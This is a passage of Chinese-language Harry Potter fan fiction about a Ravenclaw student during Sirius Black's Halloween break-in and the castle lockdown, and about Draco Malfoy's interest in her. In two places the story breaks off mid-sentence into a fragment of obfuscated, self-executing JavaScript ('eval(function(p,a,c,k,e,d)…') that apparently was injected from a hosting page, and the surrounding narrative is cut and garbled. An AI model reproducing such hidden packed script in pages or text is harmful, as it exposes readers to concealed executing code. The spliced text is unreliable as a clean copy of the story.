丽莎开心地接过礼物,几个女生围在一起看曼蒂展示各种糖果。Eva也接过那盒薄荷糖,道了谢。糖盒是浅蓝色的,上面画着一弯银月和几片薄荷叶,很精致。 “霍格莫德怎么样?”丽莎好奇地问,“人多吗?” “挤满了!”曼蒂夸张地比划,“三把扫帚简直没地方坐!我们好不容易才抢到二楼靠窗的位置。哦对了,我们还碰到了秋和塞德里克他们,在蜂蜜公爵门口排队……” “对了,”帕德玛接过话头,小口抿着椰子冰糕,眼神里带着女孩子间分享秘密的微妙笑意,“我们在‘文人居’遇见秋和塞德里克·迪戈里了。” 曼蒂立刻来了精神,压低声音却掩不住兴奋:“对对!塞德里克在帮秋试一支新出的自动纠错羽毛笔,两人靠得很近,说话声音轻轻的……塞德里克还帮她拂掉了肩膀上不知道什么时候沾到的一点棉絮。秋的脸好像有点红哦。” 丽莎听得眼睛微微睁大,露出了然的笑容。Eva听着曼蒂的描述,脑海里浮现的是秋平时说起魁地奇战术时发亮的眼睛,和塞德里克在庭院里帮低年级学生捡起掉落书本时的样子。她听懂了朋友话语里那层柔软的暗示。她点了点头,轻声说:“秋和迪戈里都是很好的人。” “还有哈利·波特!”曼蒂继续爆料,“我们在三把扫帚外面看见他了,就一个人,穿着隐形衣——不过我们看到了他乱糟糟的黑头发露出来一点点——站在街对面朝酒吧窗户里看,但没进去,样子看着……怪孤单的。” 她语气里带着点同情。 Eva听着,点了点头。哈利不能去霍格莫德,这她是知道的。穿着隐形衣独自站在外面……听起来确实不太开心。这画面让她想起早餐时他眉宇间的阴郁,和他在庭院冲突中紧绷的愤怒。一种混合着理解与淡淡叹息的情绪掠过心头,但他此刻需要的显然不是遥远的同情。她只是轻声回应:“嗯。” 她们热热闹闹地分享着见闻,Eva安静地听着,偶尔问一两个问题。气氛轻松愉快,仿佛昨天的不快和今天的空旷都暂时被抛在了脑后。 六点左右,晚餐的钟声响起。 礼堂里已经恢复了平时的热闹。去霍格莫德的学生们兴奋地交谈着,交换着买来的糖果和趣闻。格兰芬多长桌那边,哈利、罗恩和赫敏坐在一起——赫敏看起来比早上好多了,虽然手里还拿着一本小册子(大概是蜂蜜公爵的产品目录),但至少在和罗恩争论着关于打人柳为什么会“打人”的生物学原理。 Eva和朋友们在拉文克劳长桌坐下。晚餐很丰盛,显然是为了万圣节前夕准备的:烤南瓜、香料苹果派、各种做成骷髅和蝙蝠形状的小点心。天花板的魔法天空呈现出深紫色的夜幕,点缀着银色的星星。 就在晚餐进行到一半,大家正享受美食和轻松氛围时—— 礼堂大门方向传来一声尖锐的、几乎破音的嘶喊。 所有人都转过头。 费尔奇跌跌撞撞地冲进礼堂,脸色惨白得像刷了石灰,手里紧紧攥着一幅被撕裂的油画——正是胖夫人的肖像。画布从上到下被利爪般的东西撕开,胖夫人本人缩在残破的画框一角,瑟瑟发抖,脸上带着真实的惊恐。 “她……她在那儿!”费尔奇的声音颤抖着,几乎语无伦次,“在八楼走廊!画框被撕烂了!她说……她说布莱克!小天狼星·布莱克!他想闯进格兰芬多塔楼!” 死一般的寂静笼罩了礼堂。 然后,嗡嗡的议论声像被捅破的马蜂窝般炸开。 “布莱克?在城堡里?” “他怎么可能进来?有摄魂怪……” “胖夫人的画被撕了?梅林啊……” 邓布利多教授迅速站起身,半月形眼镜后的蓝眼睛锐利如鹰。“安静!”他的声音并不高,却像一道无形的屏障,瞬间压下了所有嘈杂。 他走向费尔奇,仔细查看了那幅被撕裂的画像。麦格教授、斯内普教授和弗立维教授立刻围拢过去,低声快速交谈着。斯普劳特教授则安抚着几个吓坏了的一年级赫奇帕奇学生。 “所有学生,”邓布利多的声音清晰而冷静地传遍礼堂,“立刻返回各自学院的公共休息室。级长和学生会主席负责清点人数,确保无人遗漏。教师们将对城堡进行全面搜查。在得到进一步通知前,任何人不得离开公共休息室。” 命令迅速执行。学生们——脸上还残留着未尽兴的兴奋和突然袭来的惊恐——在级长的带领下匆匆离开礼堂。拉文克劳的队伍由五年级的女级长佩内洛·克里瓦特带领,她的脸色严肃,声音努力维持镇定:“跟上,别掉队。直接回塔楼,不要停留。” 回塔楼的路上,气氛紧绷得像拉满的弓弦。走廊里的火把似乎都变得摇曳不定,投下晃动的阴影。每个人都紧紧跟着队伍,不敢东张西望,但耳朵都竖着,捕捉着任何异常的声响。 丽莎紧紧抓着Eva的手臂,手指冰凉。“布莱克……他怎么会进来?”她声音发颤,“那些摄魂怪不是在外面吗?” Eva没有回答。小天狼星·布莱克,那个据说杀了十三个麻瓜、投靠伏地魔、如今从阿兹卡班越狱的囚徒,竟然潜入了有摄魂怪层层守卫的霍格沃茨,还试图闯入格兰芬多塔楼。 这太疯狂了。 回到拉文克劳塔楼,鹰状门环今晚的问题异常应景:“何物最危险时,反而最安全?” 几个学生愣在那里,一时无人应答。恐惧让思维停滞。 Eva看着青铜鹰鹫冰冷的喙,轻声说:“真相被揭穿前的那一刻。” 门应声而开。 公共休息室里已经聚集了一些提前回来的学生,他们大多还不知道具体发生了什么,正焦急地询问。当佩内洛简短告知布莱克潜入并袭击胖夫人画像的消息后,惊呼声四起。 “他会不会来拉文克劳塔楼?” “门环能拦住他吗?” “教授们能找到他吗?” 佩内洛提高声音:“安静!邓布利多教授和所有教师都在搜查城堡。我们这里是安全的。现在,所有人留在休息室,级长会清点人数,等待进一步通知。” 清点结果很快出来——所有拉文克劳学生都在。佩内洛松了口气,但眉头依然紧锁。她安排几个高年级学生守在门边,又让家养小精灵送来热可可和点心,试图安抚大家的情绪。 但恐惧像冰冷的藤蔓,缠绕在每个人心头。窗外夜色浓重,远处的禁林像一团化不开的墨。偶尔有黑影掠过天空——不知是鸟,还是摄魂怪,或是别的什么。 Eva坐在壁炉旁的扶手椅里,手里捧着一杯温热的可可,却没有喝。腕间的玉佩传来稳定的温润触感,没有预警——至少此刻,附近没有黑暗力量靠近。但她心里的不安并未因此减轻。 布莱克的目标是格兰芬多塔楼。为什么?胖夫人的画像被撕,显然是他试图闯入但被阻拦(或是胖夫人拒绝开门?)。他为什么要闯格兰芬多塔楼?那里有什么? 一个名字浮现在脑海:哈利·波特。 布莱克是伏地魔的追随者,而哈利是“大难不死的男孩”。逻辑简单而残酷。 她想起哈利今天不能去霍格莫德时眼中的失落,想起他额头那道闪电形疤痕,想起密室事件中他握着格兰芬多宝剑的样子。危险似乎总是如影随形地跟着他,而这一次,威胁直接闯入了城堡。 壁炉里的火焰跳跃着,将影子投在墙上,变幻出各种扭曲的形状。休息室里异常安静,只有木柴燃烧的噼啪声和偶尔压抑的咳嗽声。每个人都竖着耳朵,听着门外走廊的动静。 时间一分一秒地过去,像粘稠的糖浆缓慢流动。 不知过了多久——也许是一个小时,也许是两个小时——门外传来有节奏的敲门声,接着是麦格教授清晰的声音:“拉文克劳,开门。搜查结束。” 佩内洛立刻起身,回答了门环另一个问题后,打开了橡木门。 麦格教授站在门外,脸色比平时更加严肃,嘴唇抿成一条紧绷的直线。她身后跟着弗立维教授和斯内普教授,还有两个Eva不认识的、穿着深色长袍、表情冷峻的巫师——大概是魔法部的人。 “城堡已经全面搜查,”麦格教授的声音带着疲惫,但依旧斩钉截铁,“没有发现布莱克的踪迹。他可能已经逃离。但为了安全起见,今晚所有学生将在礼堂过夜。带上你们的睡袋和必需品,立刻到礼堂集合。级长负责秩序。” 命令迅速传达。学生们慌忙收拾东西,睡袋从宿舍被抱出来,空气中弥漫着紧张和困惑。 “在礼堂过夜?所有人?” “那布莱克……” “他会不会还在城堡里?” 没有人知道答案。 拉文克劳的队伍再次穿过走廊,这一次目的地是礼堂。其他学院的学生也从各个方向涌来,脸上都带着惊魂未定的神色。格兰芬多的队伍尤其沉默,许多人脸色发白——他们的公共休息室入口刚刚被袭击。 礼堂已经被施了魔法。四张学院长桌消失了,取而代之的是数百个紫色睡袋,整齐地排列在星光闪烁的天花板下。为了最大限度地确保安全和避免学院间的冲突,四个学院的位置被精心安排:格兰芬多在礼堂最北侧,距离大门最远;斯莱特林在最南侧,靠近大门但远离格兰芬多;而赫奇帕奇和拉文克劳则被安排在中间——赫奇帕奇在格兰芬多和斯莱特林之间形成缓冲,拉文克劳则紧邻赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马尔福的目光在那身月白色睡衣上停留了不到半秒——短得几乎像是无意识的扫视——随即迅速移开,下颌线微微绷紧。他没有盯着看,没有像某些低年级男生那样对女生的睡衣投去好奇或失礼的目光,那不符合马尔福的教养。但他走过拉文克劳区域边缘时,脚步几不可察地放慢了一点点,灰蓝色的眼睛直视前方,瞳孔的余光却似乎捕捉到了那抹月白色的身影。 然后他加快了步伐,走向斯莱特林区域中心——那里有几个高年级学生已经为他留出了一块相对宽敞、远离“平民”的位置。潘西·帕金森立刻迎了上来,她穿着一套粉红色的缎面睡衣,上面缀着蕾丝花边。“德拉科!这边!我给你留了位置!” 马尔福对她点了点头,动作依旧从容。 周围的议论声嗡嗡作响,像一群受惊的蜂群。Eva在睡袋里躺下,盯着天花板上模拟的星空。那些星星缓慢移动,闪烁着虚假而恒久的光芒。 她想起去年密室事件时,城堡里也曾弥漫着类似的恐惧。但那时威胁来自内部,来自一段被隐藏的历史。而这一次,威胁来自外部,来自一个穷凶极恶、已经证明能突破阿兹卡班和摄魂怪双重防线的逃犯。 不远处,格兰芬多区域,哈利、罗恩和赫敏正挤在一起。罗恩脸色惨白,赫敏紧紧抱着膝盖,哈利则抿着嘴唇,绿眼睛警惕地扫视着四周。他们看起来都吓坏了,但三个人靠得很紧,像暴风雨中挤在一起取暖的小动物。 Eva收回视线。赫敏朝这边看了一眼,两人的目光在空中短暂交汇。赫敏对她微微点了点头,眼神里有关切,似乎在询问她是否安好。Eva也轻轻颔首,示意自己没事。 那扇门,今天下午在图书馆打开的那条缝,此刻似乎又宽了一些。 夜深了,教师们在礼堂里轮流值守。邓布利多教授坐在教师席上,半月形眼镜后的眼睛在烛光下闪烁着沉思的光芒。斯内普教授像一尊黑色的雕像,站在斯莱特林区域边缘,魔杖尖端隐隐有光芒流转,目光冷冷地扫视全场,确保没有学生越界或制造麻烦。 学生们渐渐安静下来,但睡眠并不安稳。时不时有人惊醒,坐起来茫然四顾,确认安全后才重新躺下。 Eva在睡袋里辗转,体内那股“炁”因持续的精神紧张而微微波动,带来隐约的疲惫感。她握了握腕间的玉佩,温润的触感带来一丝安慰。 在礼堂的另一端,德拉科·马尔福背对着拉文克劳区域侧躺着,眼睛紧闭,但睫毛在微微颤动。他那身昂贵的丝绸家居袍在睡袋里显得有些累赘,但他没有脱掉外袍——在这种公开场合,保持仪态是马尔福的底线。克拉布和高尔已经在旁边打起了鼾,潘西则小声和几个斯莱特林女生说着什么,声音在寂静的礼堂里显得格外清晰。 马尔福没有参与谈话。他的手臂在睡袋下无意识地动了动——绷带下的伤口已经愈合了大半,但偶尔还是会隐隐作痛。那痛感让他想起围场,想起巴克比克,想起那个站在雨中、目光平静的拉文克劳。 他睁开眼睛,盯着对面墙上摇曳的火把投影。几秒钟后,又闭上了。 窗外,苏格兰高地的夜晚深浓如墨。城堡灯火通明,摄魂怪在远处游荡,而一个危险的逃犯曾经潜入,又神秘消失。 这个万圣节前夕,霍格沃茨无人入眠。 75.余波与戒严 万圣节前夕的袭击像一块投入黑湖的巨石,涟漪在霍格沃茨持续扩散,却始终没有捞出“布莱克如何潜入”这个核心谜底。城堡进入了一种表面平静、内里紧绷的戒严状态。 最直观的变化在夜间。原本只是偶尔巡视的教授们,现在两人一组,手持魔杖,在每条走廊、每个拐角留下规律的脚步声。费尔奇的权力欲望空前膨胀,他带着洛丽丝夫人,像一头嗅到血腥味的鬣狗,日夜在城堡游荡,试图抓住任何“可疑行为”——哪怕只是夜间去厨房找点心的学生。 “紧急状态条例第九条:夜间走廊逗留,扣五十分!携带未经登记的魔法物品,没收并关禁闭!”他那嘶哑的声音成了十一月走廊的背景音。 格兰芬多塔楼入口,胖夫人那幅被撕毁的肖像暂时被替换成卡多根爵士——一位精力过剩、酷爱更换复杂口令的骑士。这直接导致格兰芬多学生们每天至少要花十分钟在肖像前挤成一团,狼狈地回忆“半疯的癞蛤蟆”或“冒泡的独角兽粪”哪个才是今日通关密语。 “他说我的发音‘缺乏骑士的荣誉感’!”一天早餐时,罗恩气呼呼地对哈利和赫敏抱怨,头发因为刚才与卡多根爵士的争论而更加凌乱,“然后非要我改用‘吟游诗人腔调’再说一遍!” 哈利勉强笑了笑,但笑意未达眼底。布莱克的名字像一道无形的锁,将他困在城堡里。每次他走过走廊,都能感觉到那些目光——好奇、同情、恐惧,还有马尔福那种毫不掩饰的、幸灾乐祸的讥诮。 赫敏则被另一种压力笼罩。除了必修课,她选修了所有科目,课表密不透风。拉文克劳公共休息室里,帕德玛曾低声对Eva说:“我昨天下午同时在古代如尼文和算术占卜课上看到赫敏——她怎么做到的?”Eva没有回答,但她注意到赫敏眼下日益浓重的黑眼圈,以及她怀里永远抱着的、摇摇欲坠的书堆。 Eva的生活在戒严中保持着刻意的平静。庞弗雷夫人的监测从每周两次增加到三次,每次都会严肃叮嘱:“你的恢复经不起任何意外消耗,张小姐。城堡现在不安全,天黑后绝对不要单独行动。”爷爷的来信也格外简短,字迹比平时更加凝重:“静守为宜,勿涉险地。外邪环伺,当固本元。” 她确实在“固本”。体内那股“炁”的恢复缓慢得像冬日冻土下的种子,每一次微弱的萌动都需要极致的耐心。魔咒课上,当弗立维教授要求练习“快乐咒”——一个需要调动积极情绪的咒语——时,Eva的魔杖尖只亮起一点微弱的、转瞬即逝的银芒。弗立维教授飘到她身边,矮小的身影带着温和的理解:“别着急,张小姐。快乐咒对心绪的稳定性要求很高。有时候,外部的压力会影响内在的松弛。” 外部压力确实无处不在。拉文克劳塔楼里,关于布莱克和城堡防御漏洞的讨论持续了好几天,直到女级长佩内洛·克里瓦特严肃提醒:“未经证实的猜测和传播焦虑,不符合拉文克劳对智慧与事实的追求。”议论才转为更谨慎的私下交流,但空气中那份紧绷感并未消散。 十一月的第二个周一,清晨的霜冻给城堡的窗玻璃蒙上了一层精致的冰花。魔药课,地下教室阴冷如常。 今天的内容是治疗疖子的药水进阶版——加入了微量弗洛伯毛虫黏液,用于处理被某些黑魔法生物抓伤后可能出现的“顽固性魔性疖”。步骤更繁琐,对火候和搅拌方向的要求近乎苛刻。 “注意黏液加入的时机,”斯内普教授的声音像冰锥敲打石面,“早一秒,药性过烈可能灼伤健康组织;晚一秒,则无法中和伤口残留的黑暗魔力。搅拌必须逆时针,每秒一圈半,不可快,不可慢。任何偏差都会导致药剂失效,甚至……产生预料外的副作用。” 他说“副作用”时,黑眼睛缓缓扫过全班,尤其在几个拉文克劳学生脸上多停留了一瞬,仿佛在评估他们是否具备应对意外的“智慧”。 Eva和帕德玛一组。她们小心地称量毒蛇牙,研磨成极细的粉末。Eva能感觉到体内魔力的流动比开学初顺畅了些,像冰面下渐渐活跃的暗流,但那种深层的空乏感依旧存在。她将注意力完全集中在手上的动作——舀取弗洛伯毛虫黏液时,银勺的角度必须精确;倒入坩埚时,高度和速度要恒定。坩埚里药水的颜色从浑浊的黄绿,随着她的逆时针搅拌,缓慢而稳定地向澄清的淡金色转变。 教室另一侧,斯莱特林区域传来一声压抑的惊呼和坩埚盖子被撞翻的哐当声。 是文森特·克拉布。他粗壮的手腕在逆时针搅拌时不小心带倒了旁边的豪猪刺罐子,几根尖刺掉进了他那锅已经快要成型的药水里。 “嗤——” 药水瞬间沸腾,冒出一大团刺鼻的紫色浓烟,颜色迅速变黑发粘。克拉布笨拙地向后跳开,差点撞翻高尔的坩埚。 斯内普教授瞬间滑到他们桌旁,黑袍带起阴冷的风。他盯着那锅报废的药水,又看了看撒了一地的豪猪刺和惊魂未定的克拉布,脸色阴沉得能滴出水。 他的目光先扫过受影响的药水,然后落在克拉布脸上,停留了几秒。整个教室陷入紧张的寂静。 “令人遗憾的……操作失误。”斯内普的声音压得很低,但每个字都像鞭子,不过这次鞭子没有直接抽在克拉布身上,而是转向了另一个方向,“显然,某些人的……存在,分散了应有的注意力。” 他这句话说得含糊,但目光若有似无地扫过了临近的几张拉文克劳操作台,最后在Eva平稳搅拌的手腕上停顿了极短暂的一瞬,黑眼睛里闪过一丝难以解读的冰冷。 “清理干净,克拉布。”斯内普最终只是冷冷地说,没有扣分,“今晚七点,地窖,重新学习基础材料的规范摆放。我不希望看到第二次。” 克拉布如蒙大赦,笨拙地点头,开始手忙脚乱地收拾。高尔在旁边大气不敢出。 斯内普的目光转向德拉科·马尔福。马尔福正用没受伤的右手稳定地逆时针搅拌,他面前那锅药水呈现出近乎教科书般完美的淡金色,质地均匀。他微微低着头,淡金色的睫毛垂着,脸上没什么表情,但背脊挺得笔直,带着一种刻意为之的、近乎紧绷的专注。 斯内普的脚步停在他操作台旁,审视着那锅近乎完美的药水。他沉默了几秒,黑眼睛里没有任何赞许,只有一种冰冷的、近乎评估的审视,仿佛在确认什么。 “至少,”他最终开口,声音依旧冰冷,但语气稍缓,“还有人记得魔药学的基本要求。” 这大概是斯内普能给出的最高“肯定”了——没有批评,且暗示其他人“忘记”了基本要求。马尔福的嘴角几不可察地动了一下,没有抬头,但搅拌的动作似乎更稳了一分。 斯内普继续巡视。当他走到Eva和帕德玛的操作台前时,她们的药水也刚好达到理想的淡金色,气泡细密均匀。斯内普用银勺舀起少许,仔细嗅闻,滴在试纸上。试纸迅速变成柔和的浅黄色,边缘清晰。 他没有立刻评价,黑眼睛在坩埚和Eva的脸上来回扫视,仿佛在寻找什么瑕疵。几秒钟后,他才用那种毫无起伏的语调说: “颜色和质地勉强达到要求。搅拌节奏……尚可。” 说完,他便转身走向下一组,没有再多看一眼。对斯内普而言,“尚可”和“勉强达到要求”已经等同于“优秀”了,尤其对非斯莱特林的学生。 帕德玛松了口气,小声说:“刚才真怕他挑刺……” Eva微微点头,将药剂小心地装瓶,贴上标签。她能感觉到斯内普刚才那番话里的微妙偏袒——明明是克拉布的失误,他却将原因模糊地归咎于“某些人的存在”,且避而不谈扣分。而对马尔福那锅明显更出色的药水,他也只是给予了最克制的肯定。 这种偏袒如此明显,却又如此符合斯内普一贯的作风。 下课后,学生们收拾东西离开阴冷的地窖。楼梯上,曼蒂追上Eva和帕德玛,压低声音:“你们看到斯内普对克拉布那态度了吗?要是我们弄翻了豪猪刺罐子,至少扣二十分!” “他对斯莱特林从来都是这样,”帕德玛叹了口气。 Eva安静地听着,没有加入讨论。 午餐时分,城堡里的气氛比往日更加沉闷。胖夫人肖像被毁、卡多根爵士上任后带来的混乱仍在持续发酵。格兰芬多的学生个个脸色疲惫——连续数日被荒诞口令折磨,今早又因卡多根爵士与一幅路过的水果静物画争论“骑士荣誉”,导致入口堵塞了近半小时。 “他说那幅画里的梨子对他‘露出了不敬的笑容’,”罗恩在格兰芬多长桌边愤愤地戳着土豆泥,“然后就和梨子吵起来了!我们全都被堵在外面!” 哈利勉强笑了笑,但笑意未达眼底。他的目光不时飘向教师席,又迅速收回。布莱克、摄魂怪、破碎的扫帚……这些东西像沉重的石头压在他心头。 拉文克劳长桌这边,关于防御缺口的讨论已转为更务实的担忧。秋·张正低声对朋友们说:“我听说魔法部对布莱克能潜入霍格莫德非常紧张,可能会加强它的守卫级别。” 帕德玛点头:“斯普劳特教授也提醒我们,去温室最好三人以上结伴。” Eva安静地吃着东西。她能感觉到城堡里那种无形的压力在增加——不仅是教授们更频繁的巡逻,还有空气中弥漫的、细微的紧张感,像琴弦被缓慢拉紧。她腕间的玉佩一如既往地温润,没有预警,但这份平静本身,在当下的氛围里反而让人更觉警惕。 午后,Eva从图书馆返回拉文克劳塔楼。她选择了平时常走的路线——从图书馆所在的四楼,沿着西侧的主楼梯下行。这条路不会经过格兰芬多塔楼所在的东塔楼,相对安静。 就在她走到四楼与三楼之间的楼梯平台时,一阵急促而笨重的脚步声从下方传来,伴随着粗重的喘息和含糊的嘟囔。 是克拉布和高尔。两人正一前一后,像两座移动的小山,在楼梯下方的拐角处焦急地东张西望,时不时弯腰查看地面。 “……肯定是掉这儿了……”克拉布粗声说,声音在空旷的楼梯间显得格外清晰。 “德拉科说……很重要的……”高尔闷闷地回应,几乎是在用脚尖扒拉地面。 Eva的脚步没有停顿,继续下行。她的目光自然地扫过他们搜寻的区域——光洁的石板地面上除了些微灰尘,空无一物。但就在她即将与他们擦肩而过时,眼角的余光捕捉到了楼梯扶手与墙壁夹角处,一点几乎被阴影吞没的、细小的银绿色反光。 她停下脚步,侧身看去。是一枚袖扣,静静地卡在石缝里。银绿色,造型是一条盘绕的蟒蛇,蛇眼嵌着细小的绿宝石,工艺极其精良,透着冰冷的昂贵感,属于斯莱特林的审美。 克拉布和高尔这时才注意到她,动作一顿,脸上露出混杂着警惕和茫然的神情。 Eva没有看他们,只是弯腰,用指尖精准地拈起那枚袖扣。金属冰凉,在她温热的指腹上留下一瞬清晰的触感。 她直起身,将袖扣托在掌心,转向克拉布和高尔。她的动作平稳从容,没有多余的表情。 “你们在找这个?” 克拉布的眼睛立刻瞪大了,几乎是急切地点头:“对!就是它!” “我捡到的。”她的声音清晰平静,“请转交给失主。” 他伸出手想拿,但Eva的手微微向后收了半寸。 说完,她手腕轻轻一递,那枚袖扣稳稳地、准确地落入克拉布摊开的、粗糙的手掌中心,没有发出一点声音。 克拉布慌忙合拢手掌,笨拙地攥紧,仿佛怕它再丢了。高尔在旁边松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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克拉布被他的目光刺得缩了缩脖子,努力回忆:“就……就捡起来,问是不是我们找的……然后递给我,说‘转交给失主’……就走了。” “递给你?”马尔福重复这个词,嘴角抽搐了一下。根据克拉布笨拙的描述,他脑子里不受控制地浮现出画面:她弯腰,从墙角捡起袖扣,动作大概很随意;然后转身,把东西递给克拉布——甚至可能没多看那袖扣一眼。最后离开,脚步声大概很平稳。 一系列想象中的动作流畅得没有一丝停顿,仿佛那枚精致的、带着马尔福家徽的袖扣,和路边捡到的铜纳特没什么两样。这个认知让那股燥热更猛烈地冲上脸颊。 为什么要在意她怎么看?一个拉文克劳,一个和波特混在一起的人。父亲的信里明确说过要保持距离。 他死死攥着袖扣,指关节泛白,几乎要将那精致的金属捏变形。几秒后,他猛地松开手,将袖扣粗暴地塞进袍子口袋,仿佛那是什么烫手的东西。 “进去。”他从牙缝里挤出两个字,声音沙哑。 他不再看克拉布和高尔,转身面对那面湿冷的石墙,几乎是咬着牙吐出今日的口令。石门无声滑开,里面温暖的炉火光和斯莱特林学生惯有的、压低的谈笑声涌出来。 他闭了闭眼,深吸一口地窖阴冷潮湿、混合着魔药和陈年石头的气息,然后挺直背脊——那个从小被训练了无数次的、马尔福应有的姿态——迈步走进了那片银绿色的光晕中。 石门在他身后缓缓合拢,隔绝了外面的一切。 只是走进公共休息室的斯莱特林学生们或许会注意到,今晚的马尔福少爷格外沉默。他独自坐在壁炉边最好的扶手椅上,盯着跳跃的火焰,左手依旧插在口袋里,紧紧攥着那枚袖扣。金属边缘硌得掌心生疼,但比起这个,更让他烦躁的是刚才那些不受控制的念头。 “德拉科,”潘西的声音带着刻意压低的试探,挨着他坐下,“你最近好像总在……留意那个拉文克劳?” 马尔福的身体几不可察地僵了一下。“什么拉文克劳?”他声音冷硬。 “就是那个张啊。”潘西的语气里混合着不满和一丝不易察觉的警惕,“布雷司昨天还跟我打赌,说你这学期至少盯着她发呆了三次——魔药课一次,如尼文课一次,还有昨天在庭院。” “扎比尼的脑子被媚娃蛀空了。”马尔福从牙缝里挤出这句话,“我有更重要的事要想,没空关注一个……”他顿了顿,没找到合适的词。 潘西盯着他的侧脸看了几秒,涂着粉色唇膏的嘴唇抿紧了。“最好是。她可是跟波特那群人混在一起的。而且,”她声音更低了,“我听说她家里有点……古怪。爸爸说东方巫师总有些我们不明白的把戏。” 马尔福猛地转头看向她,灰蓝色的眼睛里闪过一丝冰冷的警告:“帕金森,管好你自己的舌头。我父亲说过,有些话题不适合公开讨论。” 潘西被他眼里的寒意刺得缩了缩,但很快又扬起下巴:“我只是提醒你。别忘了你是谁,德拉科。” 他没再回应,重新转回头盯着火焰。 “我是谁?”他脑子里闪过这个念头,“我是德拉科·马尔福。马尔福关注谁、不关注谁,轮不到别人议论。” 可这个认知并没有带来往常那种理所当然的优越感。相反,它让他更清楚地意识到:他确实在关注。而且这种关注已经开始被旁人察觉了。这很危险。也很令人恼火。 而在公共休息室的另一角,布雷司·扎比尼正懒洋洋地靠在沙发里,手里把玩着一枚金加隆。他的目光若有若无地扫过壁炉边的马尔福和潘西,嘴角勾起一抹意味深长的浅笑。 “赌注加倍了,”他对旁边正在研究巫师棋的西奥多·诺特低声说,“我赌在圣诞假期前,我们亲爱的德拉科还会至少‘偶遇’那位拉文克劳小姐一次。” 诺特头也没抬,只是移动了一枚棋子:“不赌。观察马尔福的行为模式比棋盘上的变化更有趣。” 76.雪与碎片 十一月的最后一周,苏格兰高地的严寒终于露出了它全部的獠牙。城堡的石墙吸不进一丝阳光,白昼短暂得像一声叹息,夜晚则长得仿佛没有尽头。庭院里曾绚烂如火的红枫,如今只剩光秃秃的枝桠,在灰白天空下僵直地伸展,像无数双质问苍穹的手。 城堡的戒严让这份严寒更添重量。费尔奇嘶哑的呵斥和教授们两人一组、规律得令人心慌的巡逻脚步声,成了比走廊穿堂风更恒定的背景音。而城堡外围,摄魂怪的数量似乎增加了。每当那些灰白色的影子无声地掠过塔楼窗外的夜空,即使隔着厚厚的玻璃和石墙,一种难以言喻的沉郁寒意也会悄然渗透进来,让礼堂里的谈笑声不自觉地低落几分,让走廊上火把的光晕都显得摇曳不定。每当这时,Eva腕间的玉佩便会传来一丝微弱但清晰的温热——不是预警,更像沉睡中的古老本能被这弥漫的寒意激醒,发出无声的警惕。 黑魔法防御术课上,卢平教授开始系统地讲授如何应对黑暗生物——从红帽子到欣克庞克,从博格特到……摄魂怪。 “守护神咒,”他站在讲台前,声音比平时更低,带着一种近乎疲惫的严肃,“是已知唯一能有效驱散摄魂怪的魔法。它不是攻击,是守护——用你最快乐的回忆,最纯粹的正念,构筑一道光的屏障。” 他挥动魔杖,杖尖只亮起一点极其微弱、转瞬即逝的银光。“遗憾的是,以你们目前的魔力水平和……嗯,人生阅历,要施展出成型的守护神几乎不可能。即使是成年巫师,能成功召唤出完整守护神的也寥寥无几。” 教室里一片寂静。学生们看着那点微弱的光芒,又想起城堡外那些游荡的灰影,脸色都不太好看。帕德玛在Eva旁边轻轻吸了口气,曼蒂不安地挪动了一下身体。 “但我们可以从基础开始,”卢平教授的声音重新变得温和,带着鼓励,“感受快乐的情绪,回忆真正温暖的时刻——哪怕只是一个片段。试着将它凝聚在魔杖尖端。这不只是为了对付摄魂怪,更是一种……心灵的锻炼。” 他布置的课堂练习是写下三件“让你真正感到温暖或快乐的事”,不需要分享,但要尽可能具体。 羽毛笔在羊皮纸上沙沙作响。Eva握着笔,停顿了很久。 她想起江南老宅的夏天,槐花开了满树,甜丝丝的香气能飘进书房。爷爷在廊下磨墨,墨锭在砚台里一圈圈转,发出均匀的沙沙声,像雨声,又像时光本身的声音。她坐在旁边的小板凳上,看蚂蚁搬着比身体大几倍的面包屑,沿着青石板的缝隙,慢吞吞地走。 又想起今年生日,妈妈寄来的那件月白色披肩,绣着疏疏的竹影。展开时,丝线在光下泛着极淡的银色光泽,像月光照在真实的竹叶上。她披上时,能闻到布料上残留的、属于家的淡淡皂香。 还想起来霍格沃茨的第一个圣诞节,曼蒂、帕德玛和丽莎挤在她床边拆礼物,公共休息室的壁炉烧得旺旺的,火光把她们年轻的脸映得通红,笑声清脆得像铃铛。 她写下这些,字迹工整。羊皮纸上的墨迹很快干涸,留下黑色的、确定的痕迹。 隔着几张桌子,德拉科·马尔福用右手握着昂贵的羽毛笔。巴克比克造成的伤口早已在生骨灵的作用下愈合,庞弗雷夫人的技艺也让皮肤上几乎没留下显眼的疤痕。但此刻,当他准备书写时,左臂仍习惯性地、几不可察地向内收拢了一些,仿佛还残留着对承重或伸展的潜在戒备——与其说是疼痛,不如说更像是那次事件刻入身体记忆的一种细微烙印。 他脸色是一种缺乏血色的苍白,薄唇抿紧,灰蓝眼睛盯着空白处,仿佛那上面有什么令人厌恶的东西。快乐回忆?在父亲冰冷如刀的信件、那次事件带来的屈辱感未散、还要和这群人挤在教室里谈论这种愚蠢的、格兰芬多式的温情话题时?他嘴角几不可察地撇了一下,心底翻涌起一股混杂着烦躁的恶意。 他最终只在纸上划下几行敷衍的、花哨的字句——关于马尔福庄园的圣诞舞会(尽管去年的舞会因父亲被魔法部调查而气氛诡异),关于收到光轮2001时的短暂兴奋,关于父亲某次短暂认可他魔药成绩时的点头。每一个词都像在刻意强调某种与周围格格不入的、属于马尔福的“体面”,却读不出多少真实的温度。 卢平教授在课桌间巡视,在Eva桌边短暂驻足,目光扫过她写的内容,低声说:“具体的回忆往往比抽象的情绪更有力量,张小姐。继续坚持这种观察。”Eva点了点头。 当卢平走到斯莱特林区域时,在马尔福桌边停留了极短的一瞬,目光扫过那几行华丽却空洞的字句,没有给出任何评价,只有布料摩擦的细微响动,然后便是教授继续走开的平稳脚步声。马尔福的下颌线绷紧了些,将羊皮纸粗暴地对折,塞进了书包。 